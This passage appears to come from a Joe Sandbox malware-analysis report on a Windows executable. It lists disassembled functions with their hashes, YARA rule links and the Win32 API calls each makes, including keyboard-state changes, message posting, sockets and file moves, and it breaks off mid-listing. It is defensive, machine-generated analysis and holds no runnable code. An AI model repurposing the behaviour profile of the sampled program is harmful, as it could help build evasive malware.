Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Menu$Thread$Item$AttachCountCurrentInputMessagePostProcessSleepStringWindow_wcslen
String ID:
API String ID: 4196846111-0
Opcode ID: fe9502b1fbcb2a8cf8925ef818c918015de5be5ffff25518f3d2af7e92c84d99
Instruction ID: 0de30793a11257d6f62fff956cdd1e6efde87e5d80f42686aa8eac7ddb070936
Opcode Fuzzy Hash: fe9502b1fbcb2a8cf8925ef818c918015de5be5ffff25518f3d2af7e92c84d99
Instruction Fuzzy Hash: A8719D35A00205AFCB10DF64C841AAEB7F5EF98310F14945EEA26FB351DB35EE428B90

Function 00ED7E9E Relevance: 10.7, APIs: 7, Instructions: 193windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(014066F0), ref: 00ED7F37
IsWindowEnabled.USER32(014066F0), ref: 00ED7F43
SendMessageW.USER32(00000000,0000041C,00000000,00000000), ref: 00ED801E
SendMessageW.USER32(014066F0,000000B0,?,?), ref: 00ED8051
IsDlgButtonChecked.USER32(?,?), ref: 00ED8089
GetWindowLongW.USER32(014066F0,000000EC), ref: 00ED80AB
SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 00ED80C3

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: MessageSendWindow$ButtonCheckedEnabledLong
String ID:
API String ID: 4072528602-0
Opcode ID: 3d8a39e4fd668ed8973ca399504cf480b6e3cd377f430eef1687e145196c8a68
Instruction ID: 98cf63a531aeb161e3d019394570066d928e9997c117445b177eed20927dfdf8
Opcode Fuzzy Hash: 3d8a39e4fd668ed8973ca399504cf480b6e3cd377f430eef1687e145196c8a68
Instruction Fuzzy Hash: B571BF34608204AFEB319F54C984FEABBB5FF09344F14505BE995B73A1DB31A84ADB10

Function 00EAAEBA Relevance: 10.7, APIs: 7, Instructions: 162windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00EAAEF9
GetKeyboardState.USER32(?), ref: 00EAAF0E
SetKeyboardState.USER32(?), ref: 00EAAF6F
PostMessageW.USER32(?,00000101,00000010,?), ref: 00EAAF9D
PostMessageW.USER32(?,00000101,00000011,?), ref: 00EAAFBC
PostMessageW.USER32(?,00000101,00000012,?), ref: 00EAAFFD
PostMessageW.USER32(?,00000101,0000005B,?), ref: 00EAB020

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: d3742b4b2d6e4adced2cae38e52fbe23e7872cc49037d31ba46e06b0cbc4ba06
Instruction ID: 64a21f1a8dd9cef2de80d49d4351d7782b9e8f8bbdde54ad4533e17f07b9ce19
Opcode Fuzzy Hash: d3742b4b2d6e4adced2cae38e52fbe23e7872cc49037d31ba46e06b0cbc4ba06
Instruction Fuzzy Hash: 2851A1A06047D57DFB364234CC45BBABEE95B0B308F0C959AE1E9694D3C398B8C8D761

Function 00EAACDA Relevance: 10.7, APIs: 7, Instructions: 161windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 00EAAD19
GetKeyboardState.USER32(?), ref: 00EAAD2E
SetKeyboardState.USER32(?), ref: 00EAAD8F
PostMessageW.USER32(00000000,00000100,00000010,?), ref: 00EAADBB
PostMessageW.USER32(00000000,00000100,00000011,?), ref: 00EAADD8
PostMessageW.USER32(00000000,00000100,00000012,?), ref: 00EAAE17
PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 00EAAE38

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: cd6c720ed9dbd346596bca661c55961ea46415057befb20c3c27c122e0934c1f
Instruction ID: 0bb846b9dcbcafe2b78f4a2e6e01b234125d7dd69c170b7bbffdad4ee7b587c0
Opcode Fuzzy Hash: cd6c720ed9dbd346596bca661c55961ea46415057befb20c3c27c122e0934c1f
Instruction Fuzzy Hash: C651B1A15047D53DFB3782248C55B7ABEE85B4B308F0CA499E1D56E8C2D394FC88E762

Function 00E7542E Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(00E83CD6,?,?,?,?,?,?,?,?,00E75BA3,?,?,00E83CD6,?,?), ref: 00E75470
__fassign.LIBCMT ref: 00E754EB
__fassign.LIBCMT ref: 00E75506
WideCharToMultiByte.KERNEL32(?,00000000,?,00000001,00E83CD6,00000005,00000000,00000000), ref: 00E7552C
WriteFile.KERNEL32(?,00E83CD6,00000000,00E75BA3,00000000,?,?,?,?,?,?,?,?,?,00E75BA3,?), ref: 00E7554B
WriteFile.KERNEL32(?,?,00000001,00E75BA3,00000000,?,?,?,?,?,?,?,?,?,00E75BA3,?), ref: 00E75584

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: b1d2584cd52ba57a4b2f81552fd9a4ddb0389c3d9d7cd78d477568355f725ea2
Instruction ID: 08ea1f466b4951d206d57d74364a43a5c3d74fc5251e306170f658535b1c9d7d
Opcode Fuzzy Hash: b1d2584cd52ba57a4b2f81552fd9a4ddb0389c3d9d7cd78d477568355f725ea2
Instruction Fuzzy Hash: A951C371A006499FDB10CFA8D845AEEBBF9EF09300F14915AF959F7291E7709A41CF60

Function 00EC10B8 Relevance: 10.6, APIs: 7, Instructions: 110networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00EC304E: inet_addr.WSOCK32(?), ref: 00EC307A
Part of subcall function 00EC304E: _wcslen.LIBCMT ref: 00EC309B

socket.WSOCK32(00000002,00000001,00000006), ref: 00EC1112
WSAGetLastError.WSOCK32 ref: 00EC1121
WSAGetLastError.WSOCK32 ref: 00EC11C9
closesocket.WSOCK32(00000000), ref: 00EC11F9

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: ErrorLast$_wcslenclosesocketinet_addrsocket
String ID:
API String ID: 2675159561-0
Opcode ID: b3d58cc91b204d878eac776423f070a1d24fd37a0032fef4d6c23c93e09f3784
Instruction ID: c6ee3c473a1b174a36258815ca5a08abbf64193c667d71cf6c4ed9a0d421e5e8
Opcode Fuzzy Hash: b3d58cc91b204d878eac776423f070a1d24fd37a0032fef4d6c23c93e09f3784
Instruction Fuzzy Hash: 31412631201205AFDB109F24D944FA9B7E9EF42368F188099FD15BB282C779ED46CBE0

Function 00EACF00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 108filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00EADDE0: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00EACF22,?), ref: 00EADDFD

Part of subcall function 00EADDE0: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00EACF22,?), ref: 00EADE16

lstrcmpiW.KERNEL32(?,?), ref: 00EACF45
MoveFileW.KERNEL32(?,?), ref: 00EACF7F
_wcslen.LIBCMT ref: 00EAD005
_wcslen.LIBCMT ref: 00EAD01B
SHFileOperationW.SHELL32(?), ref: 00EAD061

Strings

\*.*, xrefs: 00EACFF3

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: FileFullNamePath_wcslen$MoveOperationlstrcmpi
String ID: \*.*
API String ID: 3164238972-1173974218
Opcode ID: 43f4a9803427c3664b6eb5cfb1c8234cdb01baa90abffc9ba1204462a19c1b0d
Instruction ID: bdb834b0035608c79aa57c4a8aff04b30b679d09253491f862cd5c4f839c9b27
Opcode Fuzzy Hash: 43f4a9803427c3664b6eb5cfb1c8234cdb01baa90abffc9ba1204462a19c1b0d
Instruction Fuzzy Hash: 854163759452199EDF12EBA4DD81ADEB7F9AF0D380F1010E6E505FF142EA34BA48CB50

Function 00ED2DFD Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 00ED2E1C
GetWindowLongW.USER32(?,000000F0), ref: 00ED2E4F
GetWindowLongW.USER32(?,000000F0), ref: 00ED2E84
SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 00ED2EB6
SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 00ED2EE0
GetWindowLongW.USER32(?,000000F0), ref: 00ED2EF1
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00ED2F0B

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID:
API String ID: 2178440468-0
Opcode ID: c1e0075132796b7b62d1594597beceb35ed3730008d737b31ed8f1b40e8913f8
Instruction ID: cffaae7062b80b5f2377fe1877905cc5de853d2bb572238bc47f7e64c5d4331e
Opcode Fuzzy Hash: c1e0075132796b7b62d1594597beceb35ed3730008d737b31ed8f1b40e8913f8
Instruction Fuzzy Hash: F53137306451459FEB22CF19DC84FA537E0FBAAB14F1551AAFA10AB2B1CB71E841EB01

Function 00EA7726 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00EA7769
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00EA778F
SysAllocString.OLEAUT32(00000000), ref: 00EA7792
SysAllocString.OLEAUT32(?), ref: 00EA77B0
SysFreeString.OLEAUT32(?), ref: 00EA77B9
StringFromGUID2.OLE32(?,?,00000028), ref: 00EA77DE
SysAllocString.OLEAUT32(?), ref: 00EA77EC

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 74c01dd1f958baa31819a2ebdab047c044d38dc8d98076badaa8cf72bb50b37b
Instruction ID: 5381c3f32a7bfa77aa367c67d9c6589896e3728b2c8d3e7874a64ec91569e37d
Opcode Fuzzy Hash: 74c01dd1f958baa31819a2ebdab047c044d38dc8d98076badaa8cf72bb50b37b
Instruction Fuzzy Hash: BD21DE3660921AAFDB00DFA8DC88CFB33ECEB0A3A47108026FA54EB150D670EC45C760

Function 00EA77FD Relevance: 10.6, APIs: 7, Instructions: 89memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00EA7842
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00EA7868
SysAllocString.OLEAUT32(00000000), ref: 00EA786B
SysAllocString.OLEAUT32 ref: 00EA788C
SysFreeString.OLEAUT32 ref: 00EA7895
StringFromGUID2.OLE32(?,?,00000028), ref: 00EA78AF
SysAllocString.OLEAUT32(?), ref: 00EA78BD

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 2b28f11060b50380d8f4d2422a9a8e6e56223b134679c835965ec5b9bcbf9b72
Instruction ID: 8dee8932953ff464b1bf56c7147d45b52a0cab070113167c2947fcc016d2c439
Opcode Fuzzy Hash: 2b28f11060b50380d8f4d2422a9a8e6e56223b134679c835965ec5b9bcbf9b72
Instruction Fuzzy Hash: 8721F131608215AFDB14DFA8DC88CAA77ECEF0E3607108125F910EF2A0DA78EC44CB64

Function 00EB04D2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(0000000C), ref: 00EB04F2
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00EB052E

Strings

nul, xrefs: 00EB0567

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
Opcode ID: 96d951cc77f723bc107fab92b26bf372136fa59dcf3d58d31a082d27d7671191
Instruction ID: 1f4911eb983a6fd0b481e5ae044077419c55709775b4006c441bf68bfe2921e0
Opcode Fuzzy Hash: 96d951cc77f723bc107fab92b26bf372136fa59dcf3d58d31a082d27d7671191
Instruction Fuzzy Hash: 24215CB5501306AFDB309F69DC44ADB77E4AF44768F204A19E9A1F62E0D770A944CF20

Function 00EB05A7 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 00EB05C6
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00EB0601

Strings

nul, xrefs: 00EB0639

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
Opcode ID: 34177229644d88f0d70f42d21cdbedfa568b42b61661ab9fa3876513ad2e1e94
Instruction ID: a39fd1d75259ba30cd029af6fe82df90c8fd69112c3ef0c30b0f284ffb6163f3
Opcode Fuzzy Hash: 34177229644d88f0d70f42d21cdbedfa568b42b61661ab9fa3876513ad2e1e94
Instruction Fuzzy Hash: B2217F755003069FDB209F699C04ADB77E4BF95764F201B19E9A1F72E4D770A860CB10

Function 00ED40AD Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00E4600E: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00E4604C
Part of subcall function 00E4600E: GetStockObject.GDI32(00000011), ref: 00E46060
Part of subcall function 00E4600E: SendMessageW.USER32(00000000,00000030,00000000), ref: 00E4606A

SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00ED4112
SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 00ED411F
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 00ED412A
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00ED4139
SendMessageW.USER32(?,00000404,00000001,00000000), ref: 00ED4145

Strings

Msctls_Progress32, xrefs: 00ED40E3

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: a5bd4d371bd1cf06cb0e63985d166ef12192f33427c05433a47883f97ac5021f
Instruction ID: 2a944d1e6c4f87751a5925e6be0c4e2622ce37e05e1d9d857edb217d5ed187cf
Opcode Fuzzy Hash: a5bd4d371bd1cf06cb0e63985d166ef12192f33427c05433a47883f97ac5021f
Instruction Fuzzy Hash: F31193B2150219BFEF119E64CC85EE77FADEF18798F015111B718A2190C672DC21DBA4

Function 00E7D7DF Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00E7D7A3: _free.LIBCMT ref: 00E7D7CC

_free.LIBCMT ref: 00E7D82D

Part of subcall function 00E729C8: RtlFreeHeap.NTDLL(00000000,00000000,?,00E7D7D1,00000000,00000000,00000000,00000000,?,00E7D7F8,00000000,00000007,00000000,?,00E7DBF5,00000000), ref: 00E729DE
Part of subcall function 00E729C8: GetLastError.KERNEL32(00000000,?,00E7D7D1,00000000,00000000,00000000,00000000,?,00E7D7F8,00000000,00000007,00000000,?,00E7DBF5,00000000,00000000), ref: 00E729F0

_free.LIBCMT ref: 00E7D838
_free.LIBCMT ref: 00E7D843
_free.LIBCMT ref: 00E7D897
_free.LIBCMT ref: 00E7D8A2
_free.LIBCMT ref: 00E7D8AD
_free.LIBCMT ref: 00E7D8B8

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: d5e9bbcb1dbdafe4c8d3bd98f36014f41f46dc5d4a3df644b036f3c2391e0fc8
Instruction ID: 011f3f40f8d44a1f048a904bc20134d84f79604b1242c55b2019989e3726f615
Opcode Fuzzy Hash: d5e9bbcb1dbdafe4c8d3bd98f36014f41f46dc5d4a3df644b036f3c2391e0fc8
Instruction Fuzzy Hash: B7115E71544B04AAD625FFB4CC47FCBBBECAF80700F44982AF39DB6092DA65B5458760

Function 00EADA5A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 00EADA74
LoadStringW.USER32(00000000), ref: 00EADA7B
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 00EADA91
LoadStringW.USER32(00000000), ref: 00EADA98
MessageBoxW.USER32(00000000,?,?,00011010), ref: 00EADADC

Strings

%s (%d) : ==> %s: %s %s, xrefs: 00EADAB9

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: HandleLoadModuleString$Message
String ID: %s (%d) : ==> %s: %s %s
API String ID: 4072794657-3128320259
Opcode ID: d4d4676b85d8c7708552735d5f5db3d1754e49e1ec5e28122f05acd26995d2f9
Instruction ID: 86aa0f2e761d5b46082847452e6cccf3916435cb00e85ef6bdce3dc257fdbf9a
Opcode Fuzzy Hash: d4d4676b85d8c7708552735d5f5db3d1754e49e1ec5e28122f05acd26995d2f9
Instruction Fuzzy Hash: 690162F65002197FE7109BA0AD89EEB776CEB09741F500592B716F6081EA74AE888F74

Function 00EB096B Relevance: 10.5, APIs: 7, Instructions: 35synchronizationthreadCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(013FE598,013FE598), ref: 00EB097B
EnterCriticalSection.KERNEL32(013FE578,00000000), ref: 00EB098D
TerminateThread.KERNEL32(?,000001F6), ref: 00EB099B
WaitForSingleObject.KERNEL32(?,000003E8), ref: 00EB09A9
CloseHandle.KERNEL32(?), ref: 00EB09B8
InterlockedExchange.KERNEL32(013FE598,000001F6), ref: 00EB09C8
LeaveCriticalSection.KERNEL32(013FE578), ref: 00EB09CF

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: 9218f37f30d8eb2c7ef6a692d95781085852642f6b3f28d6afffd525848183be
Instruction ID: 44d6566f0f21e971f22311cdcd547c165a7fb50712dd13f3a6515fb0fca00771
Opcode Fuzzy Hash: 9218f37f30d8eb2c7ef6a692d95781085852642f6b3f28d6afffd525848183be
Instruction Fuzzy Hash: FEF01D31483913AFD7515B95EE88BD67B35FF41742F502116F101B08B1C774A469CF90

Function 00EC1C60 Relevance: 9.3, APIs: 6, Instructions: 298networkCOMMON

Download Yara Rule

APIs

__WSAFDIsSet.WSOCK32(00000000,?), ref: 00EC1DC0
#17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 00EC1DE1
WSAGetLastError.WSOCK32 ref: 00EC1DF2
htons.WSOCK32(?), ref: 00EC1EDB
inet_ntoa.WSOCK32(?), ref: 00EC1E8C

Part of subcall function 00EA39E8: _strlen.LIBCMT ref: 00EA39F2

Part of subcall function 00EC3224: MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,00000000,?,?,?,?,00EBEC0C), ref: 00EC3240

